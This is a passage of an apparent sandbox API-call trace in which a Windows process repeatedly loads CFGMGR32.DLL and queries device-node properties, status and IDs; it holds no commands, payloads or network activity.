lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.481] malloc (_Size=0x18) returned 0x20abc281d40 [0196.481] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0196.482] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30dfd431, dwHighDateTime=0x1d9eb0c)) [0196.482] SetEvent (hEvent=0x248) returned 1 [0196.595] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.598] malloc (_Size=0x18) returned 0x20abc282020 [0196.598] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.601] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30f2e717, dwHighDateTime=0x1d9eb0c)) [0196.601] SetEvent (hEvent=0x248) returned 1 [0196.604] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.604] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.608] malloc (_Size=0x18) returned 0x20abc281be0 [0196.608] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x17, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0196.608] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x30f2e717, dwHighDateTime=0x1d9eb0c)) [0196.608] SetEvent (hEvent=0x248) returned 1 [0196.613] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.613] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.616] malloc (_Size=0x18) returned 0x20abc281fe0 [0196.616] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x17, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0196.616] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x30f556f4, dwHighDateTime=0x1d9eb0c)) [0196.616] SetEvent (hEvent=0x248) returned 1 [0196.619] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.619] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.620] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.621] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.622] malloc (_Size=0x18) returned 0x20abc281b60 [0196.623] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0196.623] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30f556f4, dwHighDateTime=0x1d9eb0c)) [0196.623] SetEvent (hEvent=0x248) returned 1 [0196.627] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.627] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.628] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.630] malloc (_Size=0x18) returned 0x20abc281e80 [0196.631] CM_Get_Device_IDA (in: dnDevInst=0x18, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{912728E5-D154-4F13-870E-3FDAEBB239BC}") returned 0x0 [0196.631] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x30f7ac74, dwHighDateTime=0x1d9eb0c)) [0196.631] SetEvent (hEvent=0x248) returned 1 [0196.634] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.634] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.637] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.637] malloc (_Size=0x18) returned 0x20abc282000 [0196.637] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.637] malloc (_Size=0xe6) returned 0x20abc2869c0 [0196.637] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2869c0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2869c0, pulLength=0x2dc22fd3f8) returned 0x0 [0196.638] free (_Block=0x20abc2869c0) [0196.638] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x30f7ac74, dwHighDateTime=0x1d9eb0c)) [0196.638] SetEvent (hEvent=0x248) returned 1 [0196.733] malloc (_Size=0x18) returned 0x20abc281ba0 [0196.734] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc40b068) returned 0x0 [0196.734] free (_Block=0x20abc281ba0) [0196.734] malloc (_Size=0x18) returned 0x20abc281ee0 [0196.734] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0196.734] free (_Block=0x20abc281ee0) [0196.734] malloc (_Size=0x18) returned 0x20abc281960 [0196.734] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0196.734] free (_Block=0x20abc281960) [0196.734] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0196.734] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0196.734] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.734] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.734] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.734] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0196.734] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.734] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0196.734] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.735] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.735] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.735] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba937c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.736] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.736] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0196.737] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.737] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.739] GetProcAddress (hModule=0x7ffb1ced0000, 